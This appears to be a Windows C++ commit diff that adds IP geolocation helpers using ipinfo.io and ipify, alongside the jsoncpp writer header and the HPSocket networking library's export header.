void writeIndent();
void writeWithIndent(const String& value);
void indent();
void unindent();
void writeCommentBeforeValue(const Value& root);
void writeCommentAfterValueOnSameLine(const Value& root);
static bool hasCommentForValue(const Value& value);
static String normalizeEOL(const String& text);
using ChildValues = std::vector<String>;
ChildValues childValues_;
String document_;
String indentString_;
unsigned int rightMargin_{74};
unsigned int indentSize_{3};
bool addChildValues_{false};
};
#if defined(_MSC_VER)
#pragma warning(pop)
#endif
/** \brief Writes a Value in <a HREF="http://www.json.org">JSON</a> format in a
human friendly way,
to a stream rather than to a string.
*
* The rules for line break and indent are as follow:
* - Object value:
* - if empty then print {} without indent and line break
* - if not empty the print '{', line break & indent, print one value per
line
* and then unindent and line break and print '}'.
* - Array value:
* - if empty then print [] without indent and line break
* - if the array contains no object value, empty array or some other value
types,
* and all the values fit on one lines, then print the array on a single
line.
* - otherwise, it the values do not fit on one line, or the array contains
* object or non empty array, then print one value per line.
*
* If the Value have comments then they are outputted according to their
#CommentPlacement.
*
* \sa Reader, Value, Value::setComment()
* \deprecated Use StreamWriterBuilder.
*/
#if defined(_MSC_VER)
#pragma warning(push)
#pragma warning(disable : 4996) // Deriving from deprecated class
#endif
class JSON_API StyledStreamWriter {
public:
/**
* \param indentation Each level will be indented by this amount extra.
*/
StyledStreamWriter(String indentation = "\t");
~StyledStreamWriter() = default;
public:
/** \brief Serialize a Value in <a HREF="http://www.json.org">JSON</a> format.
* \param out Stream to write to. (Can be ostringstream, e.g.)
* \param root Value to serialize.
* \note There is no point in deriving from Writer, since write() should not
* return a value.
*/
void write(OStream& out, const Value& root);
private:
void writeValue(const Value& value);
void writeArrayValue(const Value& value);
bool isMultilineArray(const Value& value);
void pushValue(const String& value);
void writeIndent();
void writeWithIndent(const String& value);
void indent();
void unindent();
void writeCommentBeforeValue(const Value& root);
void writeCommentAfterValueOnSameLine(const Value& root);
static bool hasCommentForValue(const Value& value);
static String normalizeEOL(const String& text);
using ChildValues = std::vector<String>;
ChildValues childValues_;
OStream* document_;
String indentString_;
unsigned int rightMargin_{74};
String indentation_;
bool addChildValues_ : 1;
bool indented_ : 1;
};
#if defined(_MSC_VER)
#pragma warning(pop)
#endif
#if defined(JSON_HAS_INT64)
String JSON_API valueToString(Int value);
String JSON_API valueToString(UInt value);
#endif // if defined(JSON_HAS_INT64)
String JSON_API valueToString(LargestInt value);
String JSON_API valueToString(LargestUInt value);
String JSON_API valueToString(
double value, unsigned int precision = Value::defaultRealPrecision,
PrecisionType precisionType = PrecisionType::significantDigits);
String JSON_API valueToString(bool value);
String JSON_API valueToQuotedString(const char* value);
String JSON_API valueToQuotedString(const char* value, size_t length);
/// \brief Output using the StyledStreamWriter.
/// \see Json::operator>>()
JSON_API OStream& operator<<(OStream&, const Value& root);
} // namespace Json
#pragma pack(pop)
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(pop)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#endif // JSON_WRITER_H_INCLUDED

View File

@@ -0,0 +1,155 @@
#include "stdafx.h"
#include "parse_ip.h"
#include <winsock2.h>
#include <iphlpapi.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Iphlpapi.lib")
/**
* 判断给定的 IP 地址是否是局域网内网IP
* @param ipAddress IP 地址字符串(如 "192.168.1.1"
* @return 如果是局域网 IP返回 true否则返回 false
*/
bool IsPrivateIP(const std::string& ipAddress) {
// 将 IP 地址字符串转换为二进制格式
in_addr addr;
if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) {
Mprintf("Invalid IP address: %s\n", ipAddress.c_str());
return false;
}
// 将二进制 IP 地址转换为无符号整数
unsigned long ip = ntohl(addr.s_addr);
// 检查 IP 地址是否在局域网范围内
if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8
(ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12
(ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16
(ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8
return true;
}
return false;
}
// 获取 IP 地址地理位置(基于[ipinfo.io])
std::string GetGeoLocation(const std::string& IP) {
std::string ip = IP;
if (isLocalIP(ip)) {
ip = getPublicIP();
if (ip.empty())
return "";
}
HINTERNET hInternet, hConnect;
DWORD bytesRead;
std::string readBuffer;
// 初始化 WinINet
hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
Mprintf("InternetOpen failed! %d\n", GetLastError());
return "";
}
// 创建 HTTP 请求句柄
std::string url = "http://ipinfo.io/" + ip + "/json";
hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
Mprintf("InternetOpenUrlA failed! %d\n", GetLastError());
InternetCloseHandle(hInternet);
return "";
}
// 读取返回的内容
char buffer[4096];
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
readBuffer.append(buffer, bytesRead);
}
// 解析 JSON 响应
Json::Value jsonData;
Json::Reader jsonReader;
std::string location;
if (jsonReader.parse(readBuffer, jsonData)) {
std::string country = jsonData["country"].asString();
std::string city = jsonData["city"].asString();
std::string loc = jsonData["loc"].asString(); // 经纬度信息
if (city.empty() && country.empty()) {
}else if (city.empty()) {
location = country;
}else if (country.empty()) {
location = city;
}else {
location = city + ", " + country;
}
if (location.empty() && IsPrivateIP(ip)) {
location = "Local Area Network";
}
}
else {
Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str());
}
// 关闭句柄
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return location;
}
bool isLoopbackAddress(const std::string& ip) {
return (ip == "127.0.0.1" || ip == "::1");
}
bool isLocalIP(const std::string& ip) {
if (isLoopbackAddress(ip)) return true; // 先检查回环地址
ULONG outBufLen = 15000;
IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) {
free(pAddresses);
pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
}
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) {
for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) {
for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) {
char addressBuffer[INET6_ADDRSTRLEN] = { 0 };
getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST);
if (ip == addressBuffer) {
free(pAddresses);
return true;
}
}
}
}
free(pAddresses);
return false;
}
// 获取公网IP, 获取失败返回空
std::string getPublicIP() {
HINTERNET hInternet, hConnect;
DWORD bytesRead;
char buffer[1024] = { 0 };
hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) return "";
hConnect = InternetOpenUrl(hInternet, "https://api64.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
if (!hConnect) {
InternetCloseHandle(hInternet);
return "";
}
InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return std::string(buffer);
}

View File

@@ -0,0 +1,32 @@
#pragma once
#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <string>
#include "jsoncpp/json.h"
#ifndef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
#endif
#endif
#pragma comment(lib, "wininet.lib")
// 获取 IP 地址地理位置
std::string GetGeoLocation(const std::string& ip);
bool isLocalIP(const std::string& ip);
std::string getPublicIP();
bool IsPrivateIP(const std::string& ipAddress);

View File

@@ -0,0 +1,827 @@
/*
* Copyright: JessMA Open Source (ldcsaa@gmail.com)
*
* Author : Bruce Liang
* Website : https://github.com/ldcsaa
* Project : https://github.com/ldcsaa/HP-Socket
* Blog : http://www.cnblogs.com/ldcsaa
* Wiki : http://www.oschina.net/p/hp-socket
* QQ Group : 44636872, 75375912
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/******************************************************************************
Module: HPSocket
Usage:
方法一:
--------------------------------------------------------------------------------------
0. 应用程序包含 HPTypeDef.h / SocketInterface.h / HPSocket.h 头文件
1. 调用 HP_Create_Xxx() 函数创建 HPSocket 对象
2. 使用完毕后调用 HP_Destroy_Xxx() 函数销毁 HPSocket 对象
方法二:
--------------------------------------------------------------------------------------
0. 应用程序包含 SocketInterface.h 和 HPSocket.h 头文件
1. 创建 CXxxPtr 智能指针,通过智能指针使用 HPSocket 对象
Release:
<-- 动态链接库 -->
1. x86/HPSocket.dll - (32位/MBCS/Release)
2. x86/HPSocket_D.dll - (32位/MBCS/DeBug)
3. x86/HPSocket_U.dll - (32位/UNICODE/Release)
4. x86/HPSocket_UD.dll - (32位/UNICODE/DeBug)
5. x64/HPSocket.dll - (64位/MBCS/Release)
6. x64/HPSocket_D.dll - (64位/MBCS/DeBug)
7. x64/HPSocket_U.dll - (64位/UNICODE/Release)
8. x64/HPSocket_UD.dll - (64位/UNICODE/DeBug)
<-- 静态链接库 -->
!!注意!!:使用 HPSocket 静态库时,需要在工程属性中定义预处理宏 -> HPSOCKET_STATIC_LIB
1. x86/static/HPSocket.lib - (32位/MBCS/Release)
2. x86/static/HPSocket_D.lib - (32位/MBCS/DeBug)
3. x86/static/HPSocket_U.lib - (32位/UNICODE/Release)
4. x86/static/HPSocket_UD.lib - (32位/UNICODE/DeBug)
5. x64/static/HPSocket.lib - (64位/MBCS/Release)
6. x64/static/HPSocket_D.lib - (64位/MBCS/DeBug)
7. x64/static/HPSocket_U.lib - (64位/UNICODE/Release)
8. x64/static/HPSocket_UD.lib - (64位/UNICODE/DeBug)
******************************************************************************/
#pragma once
#include "SocketInterface.h"
/*****************************************************************************************************************************************************/
/****************************************************************** TCP/UDP Exports ******************************************************************/
/*****************************************************************************************************************************************************/
/**************************************************/
/************** HPSocket 对象智能指针 **************/
template<class T, class _Listener, class _Creator> class CHPObjectPtr
{
public:
CHPObjectPtr& Reset(T* pObj = nullptr)
{
if(pObj != m_pObj)
{
if(m_pObj)
_Creator::Destroy(m_pObj);
m_pObj = pObj;
}
return *this;
}
CHPObjectPtr& Attach(T* pObj)
{
return Reset(pObj);
}
T* Detach()
{
T* pObj = m_pObj;
m_pObj = nullptr;
return pObj;
}
BOOL IsValid () const {return m_pObj != nullptr ;}
T* Get () const {return m_pObj ;}
T* operator -> () const {return m_pObj ;}
operator T* () const {return m_pObj ;}
CHPObjectPtr& operator = (T* pObj) {return Reset(pObj) ;}
public:
CHPObjectPtr(_Listener* pListener = nullptr)
{
m_pObj = _Creator::Create(pListener);
}
CHPObjectPtr(BOOL bCreate, _Listener* pListener = nullptr)
{
m_pObj = bCreate ? _Creator::Create(pListener) : nullptr;
}
virtual ~CHPObjectPtr()
{
Reset();
}
private:
CHPObjectPtr(const CHPObjectPtr&);
CHPObjectPtr& operator = (const CHPObjectPtr&);
protected:
T* m_pObj;
};
/**************************************************/
/**************** HPSocket 导出函数 ****************/
// 创建 ITcpServer 对象
HPSOCKET_API ITcpServer* HP_Create_TcpServer(ITcpServerListener* pListener);
// 创建 ITcpAgent 对象
HPSOCKET_API ITcpAgent* HP_Create_TcpAgent(ITcpAgentListener* pListener);
// 创建 ITcpClient 对象
HPSOCKET_API ITcpClient* HP_Create_TcpClient(ITcpClientListener* pListener);
// 创建 ITcpPullServer 对象
HPSOCKET_API ITcpPullServer* HP_Create_TcpPullServer(ITcpServerListener* pListener);
// 创建 ITcpPullAgent 对象
HPSOCKET_API ITcpPullAgent* HP_Create_TcpPullAgent(ITcpAgentListener* pListener);
// 创建 ITcpPullClient 对象
HPSOCKET_API ITcpPullClient* HP_Create_TcpPullClient(ITcpClientListener* pListener);
// 创建 ITcpPackServer 对象
HPSOCKET_API ITcpPackServer* HP_Create_TcpPackServer(ITcpServerListener* pListener);
// 创建 ITcpPackAgent 对象
HPSOCKET_API ITcpPackAgent* HP_Create_TcpPackAgent(ITcpAgentListener* pListener);
// 创建 ITcpPackClient 对象
HPSOCKET_API ITcpPackClient* HP_Create_TcpPackClient(ITcpClientListener* pListener);
// 销毁 ITcpServer 对象
HPSOCKET_API void HP_Destroy_TcpServer(ITcpServer* pServer);
// 销毁 ITcpAgent 对象
HPSOCKET_API void HP_Destroy_TcpAgent(ITcpAgent* pAgent);
// 销毁 ITcpClient 对象
HPSOCKET_API void HP_Destroy_TcpClient(ITcpClient* pClient);
// 销毁 ITcpPullServer 对象
HPSOCKET_API void HP_Destroy_TcpPullServer(ITcpPullServer* pServer);
// 销毁 ITcpPullAgent 对象
HPSOCKET_API void HP_Destroy_TcpPullAgent(ITcpPullAgent* pAgent);
// 销毁 ITcpPullClient 对象
HPSOCKET_API void HP_Destroy_TcpPullClient(ITcpPullClient* pClient);
// 销毁 ITcpPackServer 对象
HPSOCKET_API void HP_Destroy_TcpPackServer(ITcpPackServer* pServer);
// 销毁 ITcpPackAgent 对象
HPSOCKET_API void HP_Destroy_TcpPackAgent(ITcpPackAgent* pAgent);
// 销毁 ITcpPackClient 对象
HPSOCKET_API void HP_Destroy_TcpPackClient(ITcpPackClient* pClient);
#ifdef _UDP_SUPPORT
// 创建 IUdpServer 对象
HPSOCKET_API IUdpServer* HP_Create_UdpServer(IUdpServerListener* pListener);
// 创建 IUdpClient 对象
HPSOCKET_API IUdpClient* HP_Create_UdpClient(IUdpClientListener* pListener);
// 创建 IUdpCast 对象
HPSOCKET_API IUdpCast* HP_Create_UdpCast(IUdpCastListener* pListener);
// 创建 IUdpNode 对象
HPSOCKET_API IUdpNode* HP_Create_UdpNode(IUdpNodeListener* pListener);
// 创建 IUdpArqServer 对象
HPSOCKET_API IUdpArqServer* HP_Create_UdpArqServer(IUdpServerListener* pListener);
// 创建 IUdpArqClient 对象
HPSOCKET_API IUdpArqClient* HP_Create_UdpArqClient(IUdpClientListener* pListener);
// 销毁 IUdpServer 对象
HPSOCKET_API void HP_Destroy_UdpServer(IUdpServer* pServer);
// 销毁 IUdpClient 对象
HPSOCKET_API void HP_Destroy_UdpClient(IUdpClient* pClient);
// 销毁 IUdpCast 对象
HPSOCKET_API void HP_Destroy_UdpCast(IUdpCast* pCast);
// 销毁 IUdpNode 对象
HPSOCKET_API void HP_Destroy_UdpNode(IUdpNode* pNode);
// 销毁 IUdpArqServer 对象
HPSOCKET_API void HP_Destroy_UdpArqServer(IUdpArqServer* pServer);
// 销毁 IUdpArqClient 对象
HPSOCKET_API void HP_Destroy_UdpArqClient(IUdpArqClient* pClient);
#endif
// ITcpServer 对象创建器
struct TcpServer_Creator
{
static ITcpServer* Create(ITcpServerListener* pListener)
{
return HP_Create_TcpServer(pListener);
}
static void Destroy(ITcpServer* pServer)
{
HP_Destroy_TcpServer(pServer);
}
};
// ITcpAgent 对象创建器
struct TcpAgent_Creator
{
static ITcpAgent* Create(ITcpAgentListener* pListener)
{
return HP_Create_TcpAgent(pListener);
}
static void Destroy(ITcpAgent* pAgent)
{
HP_Destroy_TcpAgent(pAgent);
}
};
// ITcpClient 对象创建器
struct TcpClient_Creator
{
static ITcpClient* Create(ITcpClientListener* pListener)
{
return HP_Create_TcpClient(pListener);
}
static void Destroy(ITcpClient* pClient)
{
HP_Destroy_TcpClient(pClient);
}
};
// ITcpPullServer 对象创建器
struct TcpPullServer_Creator
{
static ITcpPullServer* Create(ITcpServerListener* pListener)
{
return HP_Create_TcpPullServer(pListener);
}
static void Destroy(ITcpPullServer* pServer)
{
HP_Destroy_TcpPullServer(pServer);
}
};
// ITcpPullAgent 对象创建器
struct TcpPullAgent_Creator
{
static ITcpPullAgent* Create(ITcpAgentListener* pListener)
{
return HP_Create_TcpPullAgent(pListener);
}
static void Destroy(ITcpPullAgent* pAgent)
{
HP_Destroy_TcpPullAgent(pAgent);
}
};
// ITcpPullClient 对象创建器
struct TcpPullClient_Creator
{
static ITcpPullClient* Create(ITcpClientListener* pListener)
{
return HP_Create_TcpPullClient(pListener);
}
static void Destroy(ITcpPullClient* pClient)
{
HP_Destroy_TcpPullClient(pClient);
}
};
// ITcpPackServer 对象创建器
struct TcpPackServer_Creator
{
static ITcpPackServer* Create(ITcpServerListener* pListener)
{
return HP_Create_TcpPackServer(pListener);
}
static void Destroy(ITcpPackServer* pServer)
{
HP_Destroy_TcpPackServer(pServer);
}
};
// ITcpPackAgent 对象创建器
struct TcpPackAgent_Creator
{
static ITcpPackAgent* Create(ITcpAgentListener* pListener)
{
return HP_Create_TcpPackAgent(pListener);
}
static void Destroy(ITcpPackAgent* pAgent)
{
HP_Destroy_TcpPackAgent(pAgent);
}
};
// ITcpPackClient 对象创建器
struct TcpPackClient_Creator
{
static ITcpPackClient* Create(ITcpClientListener* pListener)
{
return HP_Create_TcpPackClient(pListener);
}
static void Destroy(ITcpPackClient* pClient)
{
HP_Destroy_TcpPackClient(pClient);
}
};
// ITcpServer 对象智能指针
typedef CHPObjectPtr<ITcpServer, ITcpServerListener, TcpServer_Creator> CTcpServerPtr;
// ITcpAgent 对象智能指针
typedef CHPObjectPtr<ITcpAgent, ITcpAgentListener, TcpAgent_Creator> CTcpAgentPtr;
// ITcpClient 对象智能指针
typedef CHPObjectPtr<ITcpClient, ITcpClientListener, TcpClient_Creator> CTcpClientPtr;
// ITcpPullServer 对象智能指针
typedef CHPObjectPtr<ITcpPullServer, ITcpServerListener, TcpPullServer_Creator> CTcpPullServerPtr;
// ITcpPullAgent 对象智能指针
typedef CHPObjectPtr<ITcpPullAgent, ITcpAgentListener, TcpPullAgent_Creator> CTcpPullAgentPtr;
// ITcpPullClient 对象智能指针
typedef CHPObjectPtr<ITcpPullClient, ITcpClientListener, TcpPullClient_Creator> CTcpPullClientPtr;
// ITcpPackServer 对象智能指针
typedef CHPObjectPtr<ITcpPackServer, ITcpServerListener, TcpPackServer_Creator> CTcpPackServerPtr;
// ITcpPackAgent 对象智能指针
typedef CHPObjectPtr<ITcpPackAgent, ITcpAgentListener, TcpPackAgent_Creator> CTcpPackAgentPtr;
// ITcpPackClient 对象智能指针
typedef CHPObjectPtr<ITcpPackClient, ITcpClientListener, TcpPackClient_Creator> CTcpPackClientPtr;
#ifdef _UDP_SUPPORT
// IUdpServer 对象创建器
struct UdpServer_Creator
{
static IUdpServer* Create(IUdpServerListener* pListener)
{
return HP_Create_UdpServer(pListener);
}
static void Destroy(IUdpServer* pServer)
{
HP_Destroy_UdpServer(pServer);
}
};
// IUdpClient 对象创建器
struct UdpClient_Creator
{
static IUdpClient* Create(IUdpClientListener* pListener)
{
return HP_Create_UdpClient(pListener);
}
static void Destroy(IUdpClient* pClient)
{
HP_Destroy_UdpClient(pClient);
}
};
// IUdpCast 对象创建器
struct UdpCast_Creator
{
static IUdpCast* Create(IUdpCastListener* pListener)
{
return HP_Create_UdpCast(pListener);
}
static void Destroy(IUdpCast* pCast)
{
HP_Destroy_UdpCast(pCast);
}
};
// IUdpNode 对象创建器
struct UdpNode_Creator
{
static IUdpNode* Create(IUdpNodeListener* pListener)
{
return HP_Create_UdpNode(pListener);
}
static void Destroy(IUdpNode* pNode)
{
HP_Destroy_UdpNode(pNode);
}
};
// IUdpArqServer 对象创建器
struct UdpArqServer_Creator
{
static IUdpArqServer* Create(IUdpServerListener* pListener)
{
return HP_Create_UdpArqServer(pListener);
}
static void Destroy(IUdpArqServer* pServer)
{
HP_Destroy_UdpArqServer(pServer);
}
};
// IUdpArqClient 对象创建器
struct UdpArqClient_Creator
{
static IUdpArqClient* Create(IUdpClientListener* pListener)
{
return HP_Create_UdpArqClient(pListener);
}
static void Destroy(IUdpArqClient* pClient)
{
HP_Destroy_UdpArqClient(pClient);
}
};
// IUdpServer 对象智能指针
typedef CHPObjectPtr<IUdpServer, IUdpServerListener, UdpServer_Creator> CUdpServerPtr;
// IUdpClient 对象智能指针
typedef CHPObjectPtr<IUdpClient, IUdpClientListener, UdpClient_Creator> CUdpClientPtr;
// IUdpCast 对象智能指针
typedef CHPObjectPtr<IUdpCast, IUdpCastListener, UdpCast_Creator> CUdpCastPtr;
// IUdpNode 对象智能指针
typedef CHPObjectPtr<IUdpNode, IUdpNodeListener, UdpNode_Creator> CUdpNodePtr;
// IUdpArqServer 对象智能指针
typedef CHPObjectPtr<IUdpArqServer, IUdpServerListener, UdpArqServer_Creator> CUdpArqServerPtr;
// IUdpArqClient 对象智能指针
typedef CHPObjectPtr<IUdpArqClient, IUdpClientListener, UdpArqClient_Creator> CUdpArqClientPtr;
#endif
/*****************************************************************************************************************************************************/
/*************************************************************** Global Function Exports *************************************************************/
/*****************************************************************************************************************************************************/
// 获取 HPSocket 版本号4 个字节分别为:主版本号,子版本号,修正版本号,构建编号)
HPSOCKET_API DWORD HP_GetHPSocketVersion();
// 获取错误描述文本
HPSOCKET_API LPCTSTR HP_GetSocketErrorDesc(EnSocketError enCode);
// 调用系统的 GetLastError() 方法获取系统错误代码
HPSOCKET_API DWORD SYS_GetLastError ();
// 调用系统的 WSAGetLastError() 方法获取系统错误代码
HPSOCKET_API int SYS_WSAGetLastError();
// 调用系统的 setsockopt()
HPSOCKET_API int SYS_SetSocketOption(SOCKET sock, int level, int name, LPVOID val, int len);
// 调用系统的 getsockopt()
HPSOCKET_API int SYS_GetSocketOption(SOCKET sock, int level, int name, LPVOID val, int* len);
// 调用系统的 ioctlsocket()
HPSOCKET_API int SYS_IoctlSocket(SOCKET sock, long cmd, ULONG* arg);
// 调用系统的 WSAIoctl()
HPSOCKET_API int SYS_WSAIoctl(SOCKET sock, DWORD dwIoControlCode, LPVOID lpvInBuffer, DWORD cbInBuffer, LPVOID lpvOutBuffer, DWORD cbOutBuffer, LPDWORD lpcbBytesReturned);
// 设置 socket 选项IPPROTO_TCP -> TCP_NODELAY
HPSOCKET_API int SYS_SSO_NoDelay(SOCKET sock, BOOL bNoDelay);
// 设置 socket 选项SOL_SOCKET -> SO_DONTLINGER
HPSOCKET_API int SYS_SSO_DontLinger(SOCKET sock, BOOL bDont);
// 设置 socket 选项SOL_SOCKET -> SO_LINGER
HPSOCKET_API int SYS_SSO_Linger(SOCKET sock, USHORT l_onoff, USHORT l_linger);
// 设置 socket 选项SOL_SOCKET -> SO_RCVBUF
HPSOCKET_API int SYS_SSO_RecvBuffSize(SOCKET sock, int size);
// 设置 socket 选项SOL_SOCKET -> SO_SNDBUF
HPSOCKET_API int SYS_SSO_SendBuffSize(SOCKET sock, int size);
// 设置 socket 选项SOL_SOCKET -> SO_RCVTIMEO
HPSOCKET_API int SYS_SSO_RecvTimeOut(SOCKET sock, int ms);
// 设置 socket 选项SOL_SOCKET -> SO_SNDTIMEO
HPSOCKET_API int SYS_SSO_SendTimeOut(SOCKET sock, int ms);
// 设置 socket 选项SOL_SOCKET -> SO_EXCLUSIVEADDRUSE / SO_REUSEADDR
HPSOCKET_API int SYS_SSO_ReuseAddress(SOCKET sock, EnReuseAddressPolicy opt);
// 设置 socket 选项SOL_SOCKET -> SO_EXCLUSIVEADDRUSE
HPSOCKET_API int SYS_SSO_ExclusiveAddressUse(SOCKET sock, BOOL bExclusive);
// 获取 SOCKET 本地地址信息
HPSOCKET_API BOOL SYS_GetSocketLocalAddress(SOCKET socket, TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort);
// 获取 SOCKET 远程地址信息
HPSOCKET_API BOOL SYS_GetSocketRemoteAddress(SOCKET socket, TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort);
/* 枚举主机 IP 地址 */
HPSOCKET_API BOOL SYS_EnumHostIPAddresses(LPCTSTR lpszHost, EnIPAddrType enType, LPTIPAddr** lpppIPAddr, int& iIPAddrCount);
/* 释放 LPTIPAddr* */
HPSOCKET_API BOOL SYS_FreeHostIPAddresses(LPTIPAddr* lppIPAddr);
/* 检查字符串是否符合 IP 地址格式 */
HPSOCKET_API BOOL SYS_IsIPAddress(LPCTSTR lpszAddress, EnIPAddrType* penType = nullptr);
/* 通过主机名获取 IP 地址 */
HPSOCKET_API BOOL SYS_GetIPAddress(LPCTSTR lpszHost, TCHAR lpszIP[], int& iIPLenth, EnIPAddrType& enType);
/* 64 位网络字节序转主机字节序 */
HPSOCKET_API ULONGLONG SYS_NToH64(ULONGLONG value);
/* 64 位主机字节序转网络字节序 */
HPSOCKET_API ULONGLONG SYS_HToN64(ULONGLONG value);
/* 短整型高低字节交换 */
HPSOCKET_API USHORT SYS_SwapEndian16(USHORT value);
/* 长整型高低字节交换 */
HPSOCKET_API DWORD SYS_SwapEndian32(DWORD value);
/* 检查是否小端字节序 */
HPSOCKET_API BOOL SYS_IsLittleEndian();
/* 分配内存 */
HPSOCKET_API LPBYTE SYS_Malloc(int size);
/* 重新分配内存 */
HPSOCKET_API LPBYTE SYS_Realloc(LPBYTE p, int size);
/* 释放内存 */
HPSOCKET_API VOID SYS_Free(LPBYTE p);
/* 分配内存块 */
HPSOCKET_API LPVOID SYS_Calloc(int number, int size);
// CP_XXX -> UNICODE
HPSOCKET_API BOOL SYS_CodePageToUnicodeEx(int iCodePage, const char szSrc[], int iSrcLength, WCHAR szDest[], int& iDestLength);
// UNICODE -> CP_XXX
HPSOCKET_API BOOL SYS_UnicodeToCodePageEx(int iCodePage, const WCHAR szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// GBK -> UNICODE
HPSOCKET_API BOOL SYS_GbkToUnicodeEx(const char szSrc[], int iSrcLength, WCHAR szDest[], int& iDestLength);
// UNICODE -> GBK
HPSOCKET_API BOOL SYS_UnicodeToGbkEx(const WCHAR szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// UTF8 -> UNICODE
HPSOCKET_API BOOL SYS_Utf8ToUnicodeEx(const char szSrc[], int iSrcLength, WCHAR szDest[], int& iDestLength);
// UNICODE -> UTF8
HPSOCKET_API BOOL SYS_UnicodeToUtf8Ex(const WCHAR szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// GBK -> UTF8
HPSOCKET_API BOOL SYS_GbkToUtf8Ex(const char szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// UTF8 -> GBK
HPSOCKET_API BOOL SYS_Utf8ToGbkEx(const char szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// CP_XXX -> UNICODE
HPSOCKET_API BOOL SYS_CodePageToUnicode(int iCodePage, const char szSrc[], WCHAR szDest[], int& iDestLength);
// UNICODE -> CP_XXX
HPSOCKET_API BOOL SYS_UnicodeToCodePage(int iCodePage, const WCHAR szSrc[], char szDest[], int& iDestLength);
// GBK -> UNICODE
HPSOCKET_API BOOL SYS_GbkToUnicode(const char szSrc[], WCHAR szDest[], int& iDestLength);
// UNICODE -> GBK
HPSOCKET_API BOOL SYS_UnicodeToGbk(const WCHAR szSrc[], char szDest[], int& iDestLength);
// UTF8 -> UNICODE
HPSOCKET_API BOOL SYS_Utf8ToUnicode(const char szSrc[], WCHAR szDest[], int& iDestLength);
// UNICODE -> UTF8
HPSOCKET_API BOOL SYS_UnicodeToUtf8(const WCHAR szSrc[], char szDest[], int& iDestLength);
// GBK -> UTF8
HPSOCKET_API BOOL SYS_GbkToUtf8(const char szSrc[], char szDest[], int& iDestLength);
// UTF8 -> GBK
HPSOCKET_API BOOL SYS_Utf8ToGbk(const char szSrc[], char szDest[], int& iDestLength);
// 计算 Base64 编码后长度
HPSOCKET_API DWORD SYS_GuessBase64EncodeBound(DWORD dwSrcLen);
// 计算 Base64 解码后长度
HPSOCKET_API DWORD SYS_GuessBase64DecodeBound(const BYTE* lpszSrc, DWORD dwSrcLen);
// Base64 编码返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_Base64Encode(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// Base64 解码返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_Base64Decode(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// 计算 URL 编码后长度
HPSOCKET_API DWORD SYS_GuessUrlEncodeBound(const BYTE* lpszSrc, DWORD dwSrcLen);
// 计算 URL 解码后长度
HPSOCKET_API DWORD SYS_GuessUrlDecodeBound(const BYTE* lpszSrc, DWORD dwSrcLen);
// URL 编码返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_UrlEncode(BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// URL 解码返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
